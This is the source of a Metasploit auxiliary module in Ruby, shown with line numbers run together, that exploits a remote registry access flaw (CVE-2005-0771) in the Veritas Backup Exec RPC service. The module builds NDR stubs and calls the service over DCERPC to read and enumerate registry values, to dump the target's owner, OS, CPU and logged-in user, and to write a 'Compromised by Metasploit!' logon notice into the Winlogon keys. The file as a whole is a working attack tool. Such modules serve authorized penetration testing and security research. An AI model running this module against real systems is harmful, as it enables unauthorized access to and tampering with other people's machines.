Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/backupexec/registry.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Post::Windows::Registry89def initialize(info = {})10super(update_info(info,11'Name' => 'Veritas Backup Exec Server Registry Access',12'Description' => %q{13This modules exploits a remote registry access flaw in the BackupExec Windows14Server RPC service. This vulnerability was discovered by Pedram Amini and is based15on the NDR stub information posted to openrce.org.16Please see the action list for the different attack modes.1718},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '17627' ],24[ 'CVE', '2005-0771' ],25[ 'URL', 'https://web.archive.org/web/20110801042138/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=269'],26],27'Actions' =>28[29['System Information', 'Description' => 'Dump system info (user, owner, OS, CPU...)'],30['Create Logon Notice', 'Description' => 'Add a logon notice']31],32'DefaultAction' => 'System Information'33))3435register_options(36[37Opt::RPORT(6106),38OptString.new('WARN',39[40false,41"The warning to display for the Logon Notice action",42"Compromised by Metasploit!\r\n"43]44),45])46end4748def auxiliary_commands49return {50"regread" => "Read a registry value",51# "regenum" => "Enumerate registry keys",52}53end5455def run56case action.name57when 'System Information'58system_info()59when 'Create Logon Notice'60logon_notice()61end62end636465def cmd_regread(*args)6667if (args.length == 0)68print_status("Usage: regread HKLM\\\\Hardware\\\\Description\\\\System\\\\SystemBIOSVersion")69return70end7172paths = args[0].split("\\")73hive = paths.shift74subval = paths.pop75subkey = paths.join("\\")76data = backupexec_regread(hive, subkey, subval)7778if (data)79print_status("DATA: #{deunicode(data)}")80else81print_error("Failed to read #{hive}\\#{subkey}\\#{subval}...")82end8384end8586def cmd_regenum(*args)8788if (args.length == 0)89print_status("Usage: regenum HKLM\\\\Software")90return91end9293paths = args[0].split("\\")94hive = paths.shift95subkey = "\\" + paths.join("\\")96data = backupexec_regenum(hive, subkey)9798if (data)99print_status("DATA: #{deunicode(data)}")100else101print_error("Failed to enumerate #{hive}\\#{subkey}...")102end103104end105106def system_info107print_status("Dumping system information...")108109prod_id = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion', 'ProductId') || 'Unknown'110prod_name = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') || 'Windows (Unknown)'111prod_sp = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CSDVersion') || 'No Service Pack'112owner = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOwner') || 'Unknown Owner'113company = backupexec_regread('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'RegisteredOrganization') || 'Unknown Company'114cpu = backupexec_regread('HKLM', 'Hardware\\Description\\System\\CentralProcessor\\0', 'ProcessorNameString') || 'Unknown CPU'115username = backupexec_regread('HKCU', 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer', 'Logon User Name') || 'SYSTEM'116117print_status("The current interactive user is #{deunicode(username)}")118print_status("The operating system is #{deunicode(prod_name)} #{deunicode(prod_sp)} (#{deunicode(prod_id)})")119print_status("The system is registered to #{deunicode(owner)} of #{deunicode(company)}")120print_status("The system runs on a #{deunicode(cpu)}")121end122123def logon_notice124print_status("Setting the logon warning to #{datastore['WARN'].strip}...")125backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeText', REG_SZ, datastore['WARN'])126backupexec_regwrite('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'LegalNoticeCaption', REG_SZ, 'METASPLOIT')127end128129130def deunicode(str)131str.gsub(/\x00/, '').strip132end133134#135# Write a registry key136#137def backupexec_regwrite(hive, subkey, subval, type, data)138stub = backupexec_regrpc_write(139:hive => registry_hive_lookup(hive),140:subkey => subkey,141:subval => subval,142:type => type,143:data => data144)145resp = backupexec_regrpc_call(5, stub)146return false if resp.length == 0147return true148end149150#151# Read a registry key152#153def backupexec_regread(hive, subkey, subval, type = REG_SZ)154stub = backupexec_regrpc_read(155:hive => registry_hive_lookup(hive),156:subkey => subkey,157:subval => subval,158:type => type159)160resp = backupexec_regrpc_call(4, stub)161162return nil if resp.length == 0163ret, len = resp[0,8].unpack('VV')164return nil if ret == 0165return nil if len == 0166return resp[8, len]167end168169#170# Enumerate a registry key171#172def backupexec_regenum(hive, subkey)173stub = backupexec_regrpc_enum(174:hive => registry_hive_lookup(hive),175:subkey => subkey176)177resp = backupexec_regrpc_call(7, stub)178p resp179180return nil if resp.length == 0181ret, len = resp[0,8].unpack('VV')182return nil if ret == 0183return nil if len == 0184return resp[8, len]185end186187#188# Call the backupexec registry service189#190def backupexec_regrpc_call(opnum, data = '')191192handle = dcerpc_handle(193'93841fd0-16ce-11ce-850d-02608c44967b', '1.0',194'ncacn_ip_tcp', [datastore['RPORT']]195)196197dcerpc_bind(handle)198199resp = dcerpc.call(opnum, data)200outp = ''201202if (dcerpc.last_response and dcerpc.last_response.stub_data)203outp = dcerpc.last_response.stub_data204end205206disconnect207208outp209end210211# RPC Service 4212def backupexec_regrpc_read(opts = {})213subkey = opts[:subkey] || ''214subval = opts[:subval] || ''215hive = opts[:hive] || HKEY_LOCAL_MACHINE216type = opts[:type] || REG_SZ217218stub =219NDR.UnicodeConformantVaryingString(subkey) +220NDR.UnicodeConformantVaryingString(subval) +221NDR.long(type) +222NDR.long(1024) +223NDR.long(0) +224NDR.long(4) +225NDR.long(4) +226NDR.long(hive)227return stub228end229230# RPC Service 7231def backupexec_regrpc_enum(opts = {})232subkey = opts[:subkey] || ''233hive = opts[:hive] || HKEY_LOCAL_MACHINE234stub =235NDR.UnicodeConformantVaryingString(subkey) +236NDR.long(4096) +237NDR.long(0) +238NDR.long(4) +239NDR.long(4) +240NDR.long(hive)241return stub242end243244# RPC Service 5245def backupexec_regrpc_write(opts = {})246subkey = opts[:subkey] || ''247subval = opts[:subval] || ''248hive = opts[:hive] || HKEY_LOCAL_MACHINE249type = opts[:type] || REG_SZ250data = opts[:data] || ''251252if (type == REG_SZ || type == REG_EXPAND_SZ)253data = Rex::Text.to_unicode(data+"\x00")254end255256stub =257NDR.UnicodeConformantVaryingString(subkey) +258NDR.UnicodeConformantVaryingString(subval) +259NDR.long(type) +260NDR.long(data.length) +261NDR.long(data.length) +262data +263NDR.align(data) +264NDR.long(4) +265NDR.long(4) +266NDR.long(hive)267return stub268end269end270271272